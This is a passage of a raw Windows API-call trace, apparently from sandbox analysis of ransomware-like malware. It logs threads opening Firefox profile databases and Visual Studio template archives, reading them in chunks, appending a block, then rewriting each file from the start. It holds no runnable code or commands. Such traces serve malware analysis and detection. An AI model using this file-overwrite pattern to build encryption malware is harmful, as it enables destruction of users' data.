lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.579] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2c0f23c, dwLength=0x1c | out: lpBuffer=0x2c0f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0055.579] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eec0000 [0057.153] VirtualFree (lpAddress=0x7ef30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.155] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.157] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.158] VirtualQuery (in: lpAddress=0x7ef30000, lpBuffer=0x2c0f23c, dwLength=0x1c | out: lpBuffer=0x2c0f23c*(BaseAddress=0x7ef30000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x59000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0057.158] VirtualAlloc (lpAddress=0x7ef30000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef30000 [0057.158] VirtualAlloc (lpAddress=0x7ef30000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef30000 [0057.159] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0057.160] SetFilePointer (in: hFile=0x168, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x93e000 [0057.160] ReadFile (in: hFile=0x168, lpBuffer=0x1dac038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac038*, lpNumberOfBytesRead=0x2c0f278*=0x2000, lpOverlapped=0x0) returned 1 [0057.161] SetFilePointer (in: hFile=0x168, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x93e000 [0057.163] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee70000 [0057.168] VirtualQuery (in: lpAddress=0x7eec0000, lpBuffer=0x2c0f258, dwLength=0x1c | out: lpBuffer=0x2c0f258*(BaseAddress=0x7eec0000, AllocationBase=0x7eec0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.168] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee00000 [0057.172] VirtualFree (lpAddress=0x7ee70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.176] VirtualQuery (in: lpAddress=0x7ee70000, lpBuffer=0x2c0f258, dwLength=0x1c | out: lpBuffer=0x2c0f258*(BaseAddress=0x7ee70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0057.176] VirtualAlloc (lpAddress=0x7ee70000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ee70000 [0057.176] VirtualAlloc (lpAddress=0x7ee70000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee70000 [0057.178] VirtualQuery (in: lpAddress=0x7eec0000, lpBuffer=0x2c0f2b0, dwLength=0x1c | out: lpBuffer=0x2c0f2b0*(BaseAddress=0x7eec0000, AllocationBase=0x7eec0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.178] VirtualFree (lpAddress=0x7eec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.180] VirtualQuery (in: lpAddress=0x7ef30000, lpBuffer=0x2c0f2b0, dwLength=0x1c | out: lpBuffer=0x2c0f2b0*(BaseAddress=0x7ef30000, AllocationBase=0x7ef30000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.180] VirtualFree (lpAddress=0x7ef30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.181] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0057.572] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0057.573] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.573] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.573] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.574] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.574] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.574] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.574] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.575] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.575] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0057.575] Sleep (dwMilliseconds=0x0) [0057.720] VirtualQuery (in: lpAddress=0x7ee00000, lpBuffer=0x2c0f2b0, dwLength=0x1c | out: lpBuffer=0x2c0f2b0*(BaseAddress=0x7ee00000, AllocationBase=0x7ee00000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.721] VirtualFree (lpAddress=0x7ee00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.723] VirtualQuery (in: lpAddress=0x7ee70000, lpBuffer=0x2c0f2b0, dwLength=0x1c | out: lpBuffer=0x2c0f2b0*(BaseAddress=0x7ee70000, AllocationBase=0x7ee70000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.723] VirtualFree (lpAddress=0x7ee70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.723] CloseHandle (hObject=0x168) returned 1 [0057.723] GetCurrentThreadId () returned 0x8ac [0057.724] GetCurrentThreadId () returned 0x8ac [0057.724] GetCurrentThreadId () returned 0x8ac [0057.724] SetEvent (hEvent=0xc4) returned 1 [0057.724] RtlExitUserThread (Status=0x0) Thread: id = 79 os_tid = 0x678 [0032.088] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0032.090] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0032.090] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4000 [0032.090] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0032.090] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.090] ReleaseMutex (hMutex=0x128) returned 1 [0032.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="secmod.db", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="secmod.db", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="secmod.db", lpUsedDefaultChar=0x0) returned 9 [0032.090] ReadFile (in: hFile=0x198, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.093] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3000 [0032.093] ReadFile (in: hFile=0x198, lpBuffer=0x25c9e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c9e08*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.097] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3000 [0032.097] WriteFile (in: hFile=0x198, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.098] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0032.098] WriteFile (in: hFile=0x198, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.098] CloseHandle (hObject=0x198) returned 1 [0032.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0032.099] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0032.099] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00000 [0032.099] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0032.099] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.099] ReleaseMutex (hMutex=0x128) returned 1 [0032.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="places.sqlite", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="places.sqlite", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="places.sqlite", lpUsedDefaultChar=0x0) returned 13 [0032.099] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.102] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.108] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.109] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.114] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.116] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.116] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.118] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.118] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0032.118] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9fe000 [0032.118] ReadFile (in: hFile=0x198, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2e0f278*=0x2000, lpOverlapped=0x0) returned 1 [0032.119] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9fe000 [0032.123] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef50000 [0032.128] VirtualQuery (in: lpAddress=0x7efa0000, lpBuffer=0x2e0f258, dwLength=0x1c | out: lpBuffer=0x2e0f258*(BaseAddress=0x7efa0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0032.128] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eee0000 [0032.132] VirtualFree (lpAddress=0x7ef50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0032.135] VirtualQuery (in: lpAddress=0x7ef50000, lpBuffer=0x2e0f258, dwLength=0x1c | out: lpBuffer=0x2e0f258*(BaseAddress=0x7ef50000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x51000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0032.135] VirtualAlloc (lpAddress=0x7ef50000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef50000 [0032.136] VirtualAlloc (lpAddress=0x7ef50000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef50000 [0032.138] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0038.553] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.553] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.554] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.554] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.555] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.555] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.556] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.556] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.556] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.556] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.557] VirtualQuery (in: lpAddress=0x7eee0000, lpBuffer=0x2e0f2b0, dwLength=0x1c | out: lpBuffer=0x2e0f2b0*(BaseAddress=0x7eee0000, AllocationBase=0x7eee0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.557] VirtualFree (lpAddress=0x7eee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.559] VirtualQuery (in: lpAddress=0x7ef50000, lpBuffer=0x2e0f2b0, dwLength=0x1c | out: lpBuffer=0x2e0f2b0*(BaseAddress=0x7ef50000, AllocationBase=0x7ef50000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.559] VirtualFree (lpAddress=0x7ef50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.559] CloseHandle (hObject=0x198) returned 1 [0038.560] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.560] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.560] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2bd [0038.560] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.560] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.560] ReleaseMutex (hMutex=0x128) returned 1 [0038.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Class.zip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Class.zip", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Class.zip", lpUsedDefaultChar=0x0) returned 9 [0038.560] ReadFile (in: hFile=0x198, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2e0f2bc*=0x2bd, lpOverlapped=0x0) returned 1 [0038.720] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0038.720] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x845, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2e0f2d0*=0x845, lpOverlapped=0x0) returned 1 [0038.720] CloseHandle (hObject=0x198) returned 1 [0038.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.721] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.721] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3d4 [0038.721] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.721] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.721] ReleaseMutex (hMutex=0x128) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SettingsInternal.zip", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SettingsInternal.zip", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SettingsInternal.zip", lpUsedDefaultChar=0x0) returned 20 [0038.721] ReadFile (in: hFile=0x198, lpBuffer=0x2770378, nNumberOfBytesToRead=0x3d4, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770378*, lpNumberOfBytesRead=0x2e0f2bc*=0x3d4, lpOverlapped=0x0) returned 1 [0038.723] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 